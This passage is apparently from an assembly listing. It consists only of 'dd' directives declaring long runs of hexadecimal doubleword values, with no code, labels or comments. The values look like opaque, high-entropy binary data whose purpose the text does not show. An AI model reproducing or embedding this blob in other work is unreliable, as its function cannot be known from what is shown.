		dd 0BA955945h, 0FE075234h, 41944A2Bh, 712E298Dh, 4258A55Ah
		dd 4CD17531h, 3E90FF49h, 7D82CED4h, 0CD259C96h,	381CD7E6h
		dd 2A239AA1h, 9EEC4C9Dh, 2746A10Eh, 5E28A1DBh, 0F22CA497h
		dd 4966847Ah, 7D80AC0Bh, 0DCC280E0h, 1388FAB5h,	2A18EFE9h
		dd 0E0E90A67h, 0D9023A50h, 5C1AA66Eh, 976A2AB3h, 51DAF7DEh
		dd 204C2270h, 59B5D2A0h, 86CE9528h, 80201FB1h, 0C680EE0Dh
		dd 0B051668Fh, 1B7D4C31h, 5C18804Eh, 0C9F0E228h, 4B74B749h
		dd 163F64EBh, 6AAE1A95h, 82031862h, 2F62EFD6h, 0EAF668D5h
		dd 0A5FB7371h, 5D7C40Fh, 80EE011Dh, 193E5CFDh, 9B80A5Ah
		dd 6124050Ah, 38610BCh,	11685954h, 7BC92E48h, 0D90184B8h
		dd 5BDDC181h, 2199EF0Bh, 754FE1C8h, 40B46F8Ch, 2B78B75Dh
		dd 0E6DC4B97h, 0DC0D2F26h, 5200456Eh, 8F340ABAh, 6BF2814Dh
		dd 0EDF00D0Eh, 0C91A5B9Fh, 0DDF24485h, 79EC8231h, 62616854h
		dd 8E00884h, 1910BF24h,	121EDA4Ch, 0E13D666h, 7A02CF62h
		dd 61D770DBh, 2E64514Ah, 0F21C5A8Bh, 9808D623h,	1A522D26h
		dd 0E2E3524Ah, 9EE8156Bh, 7D825680h, 62CB60E0h,	0EA756C2Ch
		dd 0AC0D08h, 8006E5C0h,	95B4FFEDh, 0C530F95Bh, 3D251B38h
		dd 0B3288B66h, 2F61DCDCh, 2A7DF6FFh, 0C8502F9h,	0C24A2CE7h
		dd 0D85CF355h, 37E0CC45h, 53932C68h, 1EA0C2C9h,	0E9D81EDEh
		dd 6DE6979Ah, 9C99BB70h, 597F8482h, 8E9AD03Eh, 0DDB80564h
		dd 871DE553h, 2025E15Bh, 2D17DC77h, 0D8714009h,	0A9080B3Dh
		dd 892E7E41h, 0BEFE4696h, 0DD345F41h, 4107A660h, 0D3B06AF9h
		dd 5CF44026h, 0F6096A9Bh, 846C54E1h, 0EA996850h, 0F73E5FE1h
		dd 14957706h, 0C4C4487h, 2907EF96h, 3B4A60h, 39090850h
		dd 5BF6B84Bh, 831BB002h, 3D77EF9h, 20DA48B0h, 8B895A1Dh
		dd 0F1E84B5Bh, 1A670596h, 304E99ECh, 34BEBF7h, 6882BFA3h
		dd 33EC1D9Eh, 5E27E026h, 2F68A06Ch, 54D68D70h, 1E758803h
		dd 0C5960133h, 29254117h, 828A0F7h, 68800DA1h, 895F2D46h
		dd 60F6FA3Ch, 6803E64Fh, 0F0BB61ECh, 0C0270401h, 0B42E3165h
		dd 2F2DF188h, 83017C74h, 0E73D08EAh, 4FA4E410h,	0C1FB805h
		dd 0C102C1D7h, 8DAD2058h, 6CA0717h, 0F2573C16h,	389FD0F0h
		dd 319842A4h, 13EA2AC5h, 1FAB720Eh, 0C214DE29h,	75E90C08h
		dd 4BE29D7Eh, 2DAFF057h, 21BE2E10h, 853BE917h, 65C8EA5Fh
		dd 0CB4160h, 632907EFh,	5341C49h, 46BB6F93h, 89979A0Eh
		dd 0FBEC00D8h, 27E9535Fh, 246B2194h, 4135B62Fh,	0E32E6624h
		dd 8BB9686h, 0F8278713h, 497B99FBh, 0C559CDFEh,	0C8485028h
		dd 4ED69E4Eh, 6C20EE8Dh, 0B5654AAFh, 562DDCE0h,	0B780DB91h
		dd 30CEB1F6h, 0E25095F9h, 4F24665Ch, 4D04BAEh, 0B0C26552h
		dd 0FD51D088h, 585951E8h, 2CD24C95h, 980FCABEh,	208A6F9h
		dd 553EB100h, 5F0BA4BDh, 91F69D49h, 0EB548500h,	923EE974h
		dd 7FF1B5D8h, 0E1C4E958h, 8DDC92A5h, 7F608212h,	2557EF68h
		dd 0F1C538AAh, 7105EDA0h, 9062F48h, 28DAA0ABh, 89CBA6DCh
		dd 32E5CDh, 273842C7h, 663AB168h, 58955153h, 6A06067Ch
		dd 3EBB7447h, 0EB812E0Bh, 61E9426Dh, 960E27F4h,	12FA374Eh
		dd 0D7530BBEh, 0BCB109ABh, 3DDCF455h, 31412192h, 8016F0D2h
		dd 5AAEE908h, 0EE58AD1h, 2B4408C6h, 0D3075603h,	60CE6451h
		dd 0FB57566h, 0E90DB88Bh, 0BCE35F77h, 0E5BAE5A5h, 0B6387BD0h
		dd 0CE4B4D68h, 0C7D3477h, 0F9C0890Ah, 90E33AC7h, 0F7CA045Ah
		dd 96E7BBD3h, 0F10CF94Eh, 0A63EAD3Eh, 41B6643Ch, 0D10BBC10h
		dd 5620FE1Ch, 766F3199h, 6C880CC0h, 955D3F07h, 797D3F9Ah
		dd 0C9E84EF9h, 1BB1BD01h, 1E87305h, 0C9109538h,	0D4A05352h
		dd 0C3A5F778h, 863F9A23h, 10D668E9h, 0DA3D33A9h, 15E15930h
		dd 0C9B33D04h, 174446C2h, 0A64EDB68h, 82D29114h, 5734C6E9h
		dd 0FDC2EB93h, 0F4FE3B49h, 0C173CE80h, 881EBFEAh, 0C34F5AF3h
		dd 5B939DD2h, 0E9778CBEh, 0B3C2132Eh, 47D95C64h, 0C0A8F22Ah
		dd 2B542C9Bh, 7E9127E9h, 96E905D6h, 9BE91559h, 58014F5h
		dd 58CC198Ch, 21D46813h, 14DC41B8h, 0E8201D02h,	6ED12500h
		dd 63354A07h, 15F32E2Ah, 7F87043Ch, 0F19FF092h,	7E17D00Bh
		dd 57FE603Eh, 6B552C6Dh, 5340106h, 623128BFh, 8251053Bh
		dd 0E0AEAC16h, 5AF4C2A1h, 72069F1h, 334A6A5Eh, 4BD86841h
		dd 64077D76h, 0B9328456h, 0E09437Eh, 57802B6Bh,	0D476220h
		dd 810635FEh, 32549BCEh, 0BB2D20CEh, 79955EF0h,	0F8796243h
		dd 0EE3AF70Bh, 0BCE8F122h, 1220D50Bh, 4F1812ABh, 45348B25h
		dd 0CD56ADB6h, 0AF037F42h, 26150534h, 25785EE2h, 49595B3Eh
		dd 299D8C9h, 19B25850h,	0EA91CD68h, 1735BD36h, 48613BA1h
		dd 0F1181B07h, 3874037Ah, 0CD0C03B0h, 0C2161D1Ah, 3A2D18E5h
		dd 0C27186Bh, 13475EAh,	8021CCDh, 7C6C29E9h, 0A27750EBh
		dd 19511F9Ch, 0FA012879h
		dd 0B450665Bh, 10B22C01h, 0D01909C1h, 513D40E7h, 2B5C8853h
		dd 5B8A21B0h, 9308B38Dh, 0A186D9F9h, 0C5028161h, 5D2F4570h
		dd 4D5B6458h, 0BA4FD8EDh, 0C7296244h, 0E633680Eh, 48047925h
		dd 0BCE94427h, 24B1DBE0h, 27AEB24Fh, 705E4C58h,	57533FD1h
		dd 0B72E28E0h, 2D69266Ch, 0EE570E71h, 0BD20989Ah, 746C1E2Ah
		dd 8527B836h, 0D46DEA98h, 64EF7496h, 5F095841h,	0D686CB0h
		dd 155A2352h, 2F84451Dh, 756642FCh, 6AD08740h, 12B6FAF4h
		dd 8170562Fh, 0E0F5DCC5h, 0B6C53AF6h, 209639FEh, 6313E576h
		dd 67F957C8h, 0C95B0840h, 4A6C5C91h, 0DB9F2C7Eh, 0B8C0EE0h
		dd 0D7D1F312h, 9740008Ah, 6E598182h, 40C42F37h,	0C221C7D1h
		dd 0C12BDA61h, 2BDC9ED8h, 0E85E27A2h, 74C14ECBh, 0BE00C638h
		dd 6658704Fh, 0B0EE0444h, 2780EB4Ch, 4F0AE9F3h,	6BB38CF1h
		dd 0CB361F2Ch, 7712F205h, 84023484h, 75D30B9Eh,	0F7036901h
		dd 0CFC41DAh, 0ED68000Ah, 96D9914Bh, 0E9DBBA51h, 0F97CD341h
		dd 0A61A5849h, 2DECF290h, 1940A9F8h, 56F9975Dh,	4361024Bh
		dd 7EBD0030h, 614ADD0Eh, 0E67042A1h, 21D32668h,	7790C668h
		dd 2E0D64FAh, 0A45B34D5h, 4CEE4CD0h, 7B06CDDFh,	2E30940Ah
		dd 0A088474Ah, 0D2A79408h, 615651DFh, 3D010525h, 0F72189E2h
		dd 0E90E4FA1h, 4F91783Ch, 0FE530228h, 819D672Eh, 0F13F74CEh
		dd 0B9300488h, 9927C59Ch, 39C522F8h, 3B91BEC5h,	3930D001h
		dd 0BCCF4BDAh, 4047C98Dh, 5BB652EAh, 0C1ECF1EBh, 8D67F4F0h
		dd 32B4A2B5h, 645D09DBh, 0C5315BA5h, 4D949BFCh,	0CC977032h
		dd 834F691Bh, 0AAF63880h, 764A9F07h, 7BC71FBEh,	8B26026h
		dd 0F601BBD9h, 2E7C0DFh, 7DE4A82Bh, 28CF0401h, 0DAADE9F8h
		dd 6E77922Ah, 0C047A7Fh, 7FDF2883h, 72830648h, 76DE6062h
		dd 3C63E36h, 249470B7h,	69D01455h, 920BA9F0h, 0B07EA579h
		dd 27BBE93Dh, 0D0DE0112h, 6899668Bh, 2F9CB60Ch,	0AE42DEF6h
		dd 2D704B61h, 0B3530079h, 0E9DD881Bh, 7A8695E4h, 82F26731h
		dd 0BD00ECBAh, 6C6658E6h, 0C206EDC1h, 73E90706h, 0F92D05D6h
		dd 0A05569DFh, 95F42D46h, 0E4F94ED4h, 220BED88h, 1231EA13h
		dd 3080BCEh, 8517411Fh,	9666E3BBh, 4D353398h, 3250E4ECh
		dd 5B2B4C7Fh, 0E29CAAF5h, 71C2B503h, 23312D1Eh,	0C8F2172Dh
		dd 956491DCh, 119254C8h, 2A1E6BDh, 1FF568CBh, 8325401h
		dd 0E902140Ch, 8001760Dh, 906E4A10h, 0EC5A5448h, 1E1607E7h
		dd 196C687Eh, 0FF09A266h, 94F912Ch, 7C9D0512h, 77644CEFh
		dd 0C4ECBB06h, 0E2201F09h, 8EAA0F58h, 30CCE9E9h, 0C3FF86BAh
		dd 0EED14E10h, 0BD554C01h, 4A5917EAh, 0E5F0DDE1h, 88C9A34Dh
		dd 0C171A767h, 0EAE2C70Ch, 0CAA13A42h, 1D57812Bh, 8EC82E3Fh
		dd 654C0FEFh, 0B7A92C4Ah, 0F62D66D6h, 4159E910h, 0D20BDDC2h
		dd 47D80B9Eh, 10575B48h, 0B3428AF6h, 6A3309A4h,	0DEE9237Bh
		dd 4F89CFEFh, 1912A01Ah, 0D0050D7h, 0B37EA6C5h,	41BD2CB6h
		dd 6FF63108h, 4C611ADAh, 4178115Bh, 44E4DB6h, 3F6CA901h
		dd 5C836F97h, 16E019D5h, 4A765805h, 39484F1h, 0AB7963BBh
		dd 33090E8Fh, 0A258FB74h, 7A5681C2h, 17E9632Ch,	77010E45h
		dd 0CC84F9FAh, 33BB8F0h, 3A762EBAh, 16B0E54Ah, 0C1AF9AD1h
		dd 1A5D509Ah, 0C5815208h, 3C0C088Ch, 2ECB1209h,	389A5D5Bh
		dd 0AF260CD5h, 0C74B4AE9h, 0C2468958h, 2ADD6812h, 174DA58Ch
		dd 0B939EB05h, 0D51F9F8Fh, 1C0AF46Bh, 0B69DB32h, 0BF476844h
		dd 0A90D13CDh, 0C8F1E169h, 77E4052Fh, 205E5A80h, 360B65D0h
		dd 550A64FFh, 0BE33B58Eh, 4BFDB013h, 0BC6BB141h, 0B0E9E005h
		dd 0D6E7C063h, 6A3BB53h, 85375F2Fh, 8CCE5A20h, 0BCA54F27h
		dd 19E3AFD9h, 7BEEB8A0h, 6071AB25h, 0EC1EE24Eh,	592D3F01h
		dd 3521478Eh, 0D28F97C2h, 0CF891DE8h, 0DD7CE916h, 0AC817229h
		dd 60802BABh, 0B8DCEEE9h, 0D2315E0Bh, 92FD80E6h, 0BCC497FDh
		dd 2143B196h, 1165F9C1h, 6A351283h, 0BADD3FFFh,	5C25C7F2h
		dd 0A389AADEh, 9DEECCh,	0F61284B8h, 384FBA55h, 0FC210F2Dh
		dd 185F2559h, 637455Bh,	0F7874CF1h, 0E580064Eh,	7609C301h
		dd 5124E90Bh, 0AF586476h, 62EAAA12h, 0ED693AEh,	5AB75E27h
		dd 27B1EED7h, 23D12316h, 76EC1C2h, 0BC416443h, 7A1F4E26h
		dd 0E9A17897h, 0AD36276Fh, 9FF93F9Ah, 586427h, 37B7BB00h
		dd 15682EDAh, 5318B50Fh, 43587523h, 0E6E70307h,	7B135B18h
		dd 0E00C01F6h, 29684F0Bh, 4C372A6Fh, 321B0AB1h,	1425D220h
		dd 0F819E251h, 8174505h, 11068247h, 5D442902h, 0B50EC4D1h
		dd 585EA439h, 0EEBE52EFh, 0C460CC2Dh, 8FA982E3h, 2AE6555h
		dd 6F6B6852h, 0AB827971h, 40312615h, 5D1195C8h,	14E9F2Bh
		dd 6F685F44h, 5B54D03h,	0EBD8832Bh, 0C8E501CAh,	0E5407516h
		dd 0CC0A8EBAh, 0CA81035Bh, 3E8217Fh, 44AF0C04h,	389C14A8h
		dd 0D1590576h, 0C2D0F77Bh, 0C775D73Ah, 57748732h, 0F3C33F40h
		dd 41D2273Bh, 480740C1h, 5716A613h, 0DDAC46B5h,	0DEEE90Ch
		dd 0BA77B1AEh, 7E07D44Bh, 0C8013704h, 0F6AB753h, 0F5EBB99Dh
		dd 0BE0331F0h, 3BD437B0h, 8F82801h, 0F46EBFC2h,	30E95209h
		dd 0EBEDD423h, 11043D5Eh, 1BC17C0Ah, 0A8045896h, 5BACD875h
		dd 2FE91255h, 4F4F4FBh,	0E56A8B41h, 6F4ACDC3h, 0DAEDB104h
		dd 5701DFE2h, 5D367868h, 871CF84Eh, 4AEF85C0h, 0BF483B33h
		dd 882ACFAh, 625FDC02h,	8B4009FAh, 7C91D8D7h, 909C89F2h
		dd 0CD73C74Fh, 58EA760Bh, 367E7C1h, 0C1CE0506h,	102F26D0h
		dd 48520C80h, 5351144Bh, 94A9683Eh, 13C420B5h, 66531644h
		dd 0C71015BDh, 0E3462E7Bh, 1350C403h, 0F7F6B017h, 7C4C345Fh
		dd 0AD72C4DCh, 22D69EFBh, 0F0D82E0h, 4AC40A32h,	98574344h
		dd 45178CD7h, 8DA95D77h, 0DEA5EF02h, 625FA10Bh,	0D286FFDAh
		dd 240BB647h, 41BB06Fh,	0CCBEC554h, 704E9E8Ah, 0A8846FE2h
		dd 0E25390CDh, 50265657h, 9B00540Ch, 0E93B122Ch, 421D4EC5h
		dd 3F4745F2h, 56C7C5E0h, 58F05417h, 84033EDh, 0E30830E9h
		dd 199C655h, 8672C528h,	4F042501h, 968CE92Eh, 1459943Eh
		dd 0EC4FC5ECh, 0FEF75E49h, 0C1B58C5Ah, 9CF3E409h, 6C1E80DAh
		dd 4A7E282Dh, 177B94Eh,	64A33C2Fh, 6E7C06E9h, 16085E24h
		dd 0E5CCBB9Ch, 0B56B4A56h, 78666501h, 63D1B241h, 324C74C5h
		dd 0BD26CC88h, 0A818285Fh, 5914E818h, 0C18F482Ch, 5300043Ah
		dd 0C3FE7BB3h, 0B5065166h, 0A88BE934h, 915D4B52h, 221652Eh
		dd 0FB845F09h, 7BCEBC7Dh, 27D0E856h, 0BCE6685Dh, 2DEE9FCEh
		dd 0BD18D120h, 0B5F06DF8h, 2ECA6AF5h, 913E267Ch, 0B00B69B3h
		dd 5708BC54h, 0BDB5C355h, 0B4BD8648h, 0E699EA09h, 25EC0D7h
		dd 5003EAC0h, 2C61B014h, 0CD181A99h, 905BFA29h,	91672F47h
		dd 0DB48EE51h, 0E0AF6626h, 8BC336B4h, 0F94ABAB8h, 0D84B497Bh
		dd 92B89000h, 0F4637043h, 1179280h, 2068565Ch, 317A3613h
		dd 0AFE7153Bh, 0A2274BC0h, 0E8890259h, 1C0835Dh, 1F5FF95Dh
		dd 710BACC6h, 43B33A8Fh, 0EB4EFF4Fh, 216AC95Ah,	0C791E9FDh
		dd 0ED9A2668h, 0C1886F10h, 222F4C9Fh, 0F097789Fh, 0BCFE20F2h
		dd 79F1801Ch, 9420BDFCh, 0D295E56Bh, 536C08h, 0C94763BAh
		dd 0EA48C15Ch, 4EA5164Ah, 26E071E5h, 7D8FB841h,	16714AD5h
		dd 0D342E675h, 263DD708h, 60570CAAh, 0B15B4917h, 5FE9C699h
		dd 57BEAD11h, 0A39BA3BBh, 8BBF1600h, 515DF00Fh,	1EC00BB9h
		dd 45D538D6h, 50A4A2h
		dd 45CE48C3h, 0BB7E8E9h, 0E045FED8h, 5E5068F1h,	0A08D993h
		dd 5A088B51h, 43C5FFF1h, 4F299BD1h, 5C9A1168h, 1F824E63h
		dd 555C147Dh, 0D233E8EFh, 0D6496980h, 0F332874Ah, 854B0646h
		dd 18F5D8BBh, 57C5C13Bh, 86F6D625h, 264FDB08h, 43AC259Ch
		dd 47F82124h, 0F7F53B5Eh, 42E90800h, 0B6A4A806h, 3C3F131Dh
		dd 5EA0031h, 2D3E4FDEh,	740583E2h, 0D02911B3h, 81373C4h
		dd 0C8A346ABh, 53EC9594h, 0A9B6B05Ah, 8527257Ah, 7B4E59A0h
		dd 0E0BD70D3h, 0B8E6C171h, 14C60169h, 0E9539D1Fh, 74823B89h
		dd 0E4AC5E5Ch, 95E90330h, 280A1A8Ah, 2BFDC2D3h,	3800FD0Dh
		dd 1BD93385h, 66CC6814h, 4D5D4A9h, 6F625BDCh, 0F36A6BAh
		dd 0A130449Dh, 33A4E951h, 0E1C458h, 0F7110C07h,	0CB814BDBh
		dd 9E600D0Bh, 488FC1Ah,	0BA83F17Dh, 0EB84150Ch,	5FF99D5Ah
		dd 75E3A43Dh, 5CD976AFh, 6BCE5995h, 0B03294D7h,	0F4C441D7h
		dd 3C3D209Eh, 147C2C6Ah, 6DCF9AB0h, 0B8695A7Eh,	20824805h
		dd 0DDF713AFh, 4A51014Dh, 3BCC28DFh, 0F37EDA89h, 84BDD6C8h
		dd 0CD0AA885h, 0FA9DE0A1h, 5AD95495h, 0EEEB820Ch, 929A902h
		dd 41F2892Bh, 225458F4h, 0BE4048FCh, 0BD3EE179h, 26AA8911h
		dd 5CFA296Bh, 0A034E389h, 21B0EB41h, 0F8307656h, 89099DCDh
		dd 85DACAFCh, 2AA3DEC7h, 19122F0Ch, 154AE782h, 520E8ECCh
		dd 8004D6B7h, 0C2364775h, 0B0575A73h, 0BFD8AA21h, 0F72F0BE4h
		dd 128A60DAh, 200A2EDFh, 6C9F0370h, 0F2E10E24h,	6DDFEB16h
		dd 2B9835EAh, 0E9E0ACB8h, 0F8BAF3D3h, 78555777h, 6C862AE4h
		dd 2D037B70h, 0AF3F562h, 0B099BC28h, 0D0FED613h, 98F10521h
		dd 299FEC02h, 0C13158C2h, 1D220F9Ch, 6F17C302h,	0C6D70214h
		dd 3B7AC9BFh, 0EB813674h, 65E16DF4h, 188E3082h,	6BC06BD2h
		dd 0C0A7C4EAh, 6B6889BFh, 2D14E618h, 2BE8D5FBh,	3C2D093Fh
		dd 1F00F57Ch, 2E70A06h,	23B8DBF0h, 17F5072Eh, 5450A769h
		dd 85865EC3h, 1279E3ABh, 612EB29h, 0F76B33E1h, 9FBF1304h
		dd 520382A7h, 765374BAh, 0BCC7E00Fh, 4A65AB25h,	0E90801EAh
		dd 0CC7EFA69h, 1F12DBE8h, 8026D55h, 0DA6863C8h,	8ED51E6h
		dd 172ACD21h, 0C6FCF39Ch, 9AC7103Eh, 0FCEE2027h, 0E049AA90h
		dd 0A40B5EB0h, 0CBADFD1h, 0E877C855h, 0E9098536h, 5A69258Ah
		dd 203BDAAAh, 0E99C0B09h, 3FD6B8F3h, 863500BDh,	5550594Dh
		dd 18579868h, 0DC5D2349h, 623B207Ch, 27E50256h,	603F9325h
		dd 2E2C262Bh, 8A7C5803h, 9FDC631h, 0AE5130A3h, 0EC0CF396h
		dd 1E8014CFh, 56C0F1C9h, 1CECF406h, 0BA00E696h,	60ED4081h
		dd 95D14889h, 3E74C9E0h, 563F2E03h, 0C207A5BEh,	42DA7708h
		dd 4768590Bh, 6AE83048h, 429EB64Ch, 0D81ABA52h,	7E769F5Ch
		dd 0B0C65569h, 8205544Fh, 0DFA65857h, 0EE05654Ch, 0A963B25Eh
		dd 7C084124h, 30CBD01Ah, 88CDC1ADh, 3DD52768h, 2604DDD8h
		dd 0EDC17C39h, 90D748C2h, 1769B9FEh, 0E816B676h, 21E1007Bh
		dd 0E962D477h, 4F8561E2h, 0E104E4F3h, 7CECED22h, 7C5C2FCDh
		dd 9B368C79h, 1401C729h, 5073FB7Eh, 2E20F889h, 62BC4A41h
		dd 0CC7529F2h, 0F9874A2Fh, 1B8AD637h, 69ACBF00h, 0BD5577EEh
		dd 3461330Bh, 53B0B79h,	0EC4487BBh, 0FB80505Fh,	7DE20722h
		dd 2B555934h, 6CB6BF31h, 4F383846h, 0C2078F85h,	2CA52658h
		dd 22403CD3h, 0C60EA3F8h, 6562B960h, 0EFBF309h,	6360C1FFh
		dd 0D119E94Eh, 88CB89Ch, 74069A50h, 663C484Dh, 2630D40Ah
		dd 3E063BE0h, 9E4ED137h, 0DE139F1Dh, 5BDD2945h,	1EACA52h
		dd 80EBB7B8h, 0E9732073h, 5A7B994Dh, 47118FADh,	0B7488474h
		dd 9E5D5109h, 0B9E913FDh, 0C4D8AC9Fh, 85A23FA1h, 0E7ED2C78h
		dd 60D3A803h, 4FBD0C0Dh, 4048AA21h, 969D3D62h, 36010765h
		dd 12BF390Ah, 63336900h, 38262598h, 0AD9789F6h,	117408AFh
		dd 0BF196027h, 56603F59h, 4521BE9Ch, 0BA32CFE9h, 7D84CB32h
		dd 0ED520B04h, 2F6AB631h, 13BA09EDh, 1B2DC066h,	4054B27Eh
		dd 919668Ah, 9E90D4Fh, 74C091C2h, 75824A40h, 2E3A4DC9h
		dd 9D28FFA0h, 784B1758h, 8744D6C3h, 3658CE9Eh, 0B5786BFDh
		dd 8347775Bh, 26358369h, 0C86112C9h, 8C340159h,	3B160447h
		dd 7D25DC1Eh, 6F5D16B9h, 409711D8h, 0B81D66B7h,	350E1E2Dh
		dd 0D1FBE65h, 993D4D9Fh, 0A5085525h, 58B32360h,	0F8F49443h
		dd 53CB4AFAh, 0A8C0292Dh, 75026BBFh, 5F68D922h,	62C6D60Eh
		dd 9F0F9362h, 0F722A689h, 0CCE3BB6h, 1AAF89E9h,	0C7F5456h
		dd 546AD843h, 0F071DEB5h, 0B84D08E9h, 0F0F41EE3h, 0C95D7209h
		dd 913FE8ABh, 79B776C6h, 81AFD263h, 48A0C955h, 0F2605AF7h
		dd 0EA29597Ah, 0D621275Dh, 68962898h, 7A122B2Ah, 4ABF7A9Fh
		dd 392DB26Eh, 0B1BF3A80h, 28400ACAh, 3813F47Ch,	0E0F3C9B7h
		dd 0D493C3E8h, 9B94E40Dh, 420AF53Fh, 0DAE3F80Ah, 8441C6F8h
		dd 0E2A10D4Fh, 232DC83Eh, 0AE5B3977h, 0FB247DE9h, 581610D1h
		dd 0DA407E8Ah, 0C086130Ch, 4D72E8E8h, 5F5F2FF0h, 0BA7DB416h
		dd 20EB6CBDh, 0B805C243h, 1956F68h, 966904EFh, 85570983h
		dd 0D0BAECE2h, 7013BA56h, 2D27A5Ch, 0E037E2EAh,	82B0D629h
		dd 47C69A8Eh, 0D320D970h, 75898D2h, 7D5915B3h, 0A6A73F5Ah
		dd 0E4D70B1Eh, 21512530h, 273EABF9h, 0BF677C52h, 7EF76A19h
		dd 0C6F93E5Bh, 15208990h, 0EA4B01FCh, 3EA52091h, 0D4C1B72Ch
		dd 3E8FC193h, 8E3B74C1h, 0B98BC510h, 0D38A5128h, 0F92FCE41h
		dd 0B49810FCh, 0F1865803h, 848D6F6h, 17374D60h,	4444015Ah
		dd 8A1F12AEh, 0BD95D4C5h, 0C2E41CADh, 47EDFA4Ah, 8BDDD38Bh
		dd 4EC47F3Ch, 739B6815h, 0DEE9165Ch, 20AB5E84h,	0C837BE52h
		dd 3EE0694Ah, 1F172D68h, 80CFD77Eh, 0E9284472h,	0A2C95B93h
		dd 0A840D346h, 112F3154h, 3AB84850h, 0C114771Ch, 13D23473h
		dd 7F0FF1E9h, 8C7216D7h, 0F56685F6h, 7A47C9EEh,	5C8428B8h
		dd 0C487B839h, 4018AE64h, 0BB80E22Dh, 13657DE4h, 4EBC148h
		dd 1381DC95h, 73DE2A01h, 0C42F7B82h, 0DE98AA66h, 4BE3BFD8h
		dd 0E1DFF604h, 0A3BE83C7h, 0DCBA0357h, 13A4867h, 0F507330Ch
		dd 43D70128h, 9877786h,	2DB8675Fh, 0DDFE965Fh, 0AD6804E6h
		dd 3838FA3Fh, 419D4C0Bh, 0FA0487A5h, 0FAEE032Ch, 57F9122Fh
		dd 105A2052h, 7E9FF170h, 425F7AF1h, 5B10692Fh, 0BABB253Ah
		dd 0FAB4F6E2h, 5954AA44h, 837B102Ah, 49535425h,	6C04C292h
		dd 1BB877CAh, 4A51AEC1h, 9BA02B2Eh, 0E90FC2AAh,	0BC713E89h
		dd 225E801Eh, 16F460CEh, 122A8EBBh, 67AEC3A8h, 0FDCCA32Dh
		dd 2768F609h, 62C3D454h, 9E7D0F2Ah, 4BC290A9h, 0CDE8C5E8h
		dd 0E0A3EC23h, 12CB64B5h, 357D3668h, 0EA89BAB0h, 0E8D2960Ah
		dd 1468C26Ch, 8AFD5179h, 40577DAEh, 5C037F3Ah, 56425A05h
		dd 12AF33E9h, 0BD8EEBAEh, 4ED0E90Ch, 0C55A01CDh, 0C45F23F2h
		dd 9589AF33h, 8540B8C9h, 91E711E9h, 5FC8C03Dh, 21254D53h
		dd 418351EAh, 2E08E2C1h, 0E91ADFB3h, 0C6F70DCDh, 3954A07Ch
		dd 6C759CB1h, 2BE9C0CAh, 5ADB5430h, 354F1AEAh, 627D0BDFh
		dd 55A29AC2h, 0BD2C0C46h, 70C38D6Dh, 0E2113B45h, 0EDFB498h
		dd 5DAE5D5Eh, 4406E91Ah, 0D4F01091h, 575A80B5h,	49527EEh
		dd 8C804FA0h, 9DD0FA51h, 0EE8C5C1Bh, 0C260E8D9h, 44862471h
		dd 606D02AAh, 0CE722A63h, 0F7E90880h, 0DF31B24Fh, 680050FBh
		dd 260E52E0h, 3F4D5D1Bh, 0E0524C53h, 83B408AFh,	9F87C625h
		dd 0CD8B6B73h, 77C829F8h
		dd 0B2A5BC38h, 4455FC97h, 0E14AB1E4h, 6C8F2057h, 9C703E32h
		dd 7B137DAAh, 56F046D8h, 49B1294Eh, 66E90801h, 0B07E51BAh
		dd 582D1FB0h, 809F1235h, 8E6C1A9h, 0FC0B0298h, 8BF3AC77h
		dd 550D8B4Dh, 40979F6Eh, 836B9216h, 4FB9BF7h, 0EB80F501h
		dd 3CCC001h, 50C2C4D0h,	0BC21012h, 773360F3h, 4B39F48Ah
		dd 54362000h, 6895629Bh, 2C0ED069h, 20E1114h, 7B527DBBh
		dd 7C25C5FCh, 38532858h, 0FF4A9E5Fh, 0B58A592Ch, 0F32D4C80h
		dd 157A1C58h, 14A71830h, 0B55BF820h, 0FF1CD758h, 0C3169B2Ch
		dd 0C70A23AAh, 75E0062Fh, 0A898E02Eh, 731E1E2Dh, 7B0D81h
		dd 38F342EBh, 50933B05h, 50859CCDh, 0B4847563h,	4A5F28EFh
		dd 5020AFF6h, 0B0C4FE6Dh, 26BABC80h, 4BD60B6Ch,	184E6546h
		dd 0CA299E07h, 8490F073h, 0D26DA2BBh, 76DEC802h, 0FBE1E039h
		dd 52FA38E9h, 3235AA4Bh, 48C433BCh, 3462CD7Ch, 0FCB70CACh
		dd 0D08364FDh, 3544E9C3h, 0F6062097h, 12604130h, 0FAF3892Dh
		dd 0CB3EBDCAh, 65A2761Eh, 0B52C4E7Ah, 42259719h, 2C7853CCh
		dd 2E8402C4h, 0C05732BDh, 0EA02E532h, 54890D5h,	1C651E6Bh
		dd 68F90529h, 0BDF3AB60h, 880C3D02h, 81D8426Bh,	46CE91Ch
		dd 0A99937C9h, 7716ABB4h, 68093B65h, 2BC7BA9h, 46FF124Ah
		dd 3E71DE80h, 0E9256BDEh, 0AE2B785Bh, 6307F877h, 0FD303EEFh
		dd 0E12C5BF0h, 0D3FDE8E0h, 0EB59E528h, 0B73C6344h, 666B8CF9h
		dd 58DCB5C4h, 401456A5h, 4EB61A15h, 0AE5F94A0h,	0EF187167h
		dd 104A46D3h, 48D66C88h, 5A211083h, 0BFB0005Ah,	164746DDh
		dd 0D0F78101h, 97599F58h, 7BCFD8D9h, 27E11714h,	68D20BB0h
		dd 0E3B10F68h, 0EA254382h, 501776D5h, 0B1B7C583h, 0EC7B55F0h
		dd 95E98233h, 12FAE8DBh, 0DEDE635Fh, 0F5093BA0h, 0F63A1B68h
		dd 45756B52h, 6AE90B7Dh, 7E2FF876h, 0AECB62AFh,	575E8907h
		dd 680B96BDh, 0B6734F18h, 7926E941h, 0E5C6C981h, 0ED4E8B58h
		dd 130C3C7Ch, 0FCF8C468h, 1E70B9C0h, 0FC802043h, 5EB3245Bh
		dd 8FFA1E4Ah, 0BC651D62h, 1094ADAFh, 2C1CAD1Bh,	281483C5h
		dd 0BEA504D8h, 345E4A02h, 4C0D535h, 93CDA109h, 0D500CB66h
		dd 259942B7h, 72504F3Bh, 0CF81021Eh, 29070E04h,	0FA6A4980h
		dd 0E9EE0C97h, 0EFCB74D9h, 0B93067ECh, 24800C7Eh, 0E9621341h
		dd 6838420Eh, 2B663ED2h, 0D34C22B7h, 7932771Bh,	0A3204E6Eh
		dd 0F5213BDEh, 0F887B793h, 0F28ED843h, 984CE43Eh, 17EA0ED5h
		dd 42DD3F35h, 0C3016DEh, 0E3A5840h, 156E00Bh, 0F13B80D5h
		dd 0FD7B8B6Ah, 76311D4h, 3DE9490Ch, 69510B85h, 6B742D8Fh
		dd 0F1025D6Bh, 0ADD41EE9h, 0E539CC3Bh, 0F3B9B652h, 17F26D84h
		dd 4B2231EFh, 94492434h, 64D75918h, 586F43C8h, 0EA12E096h
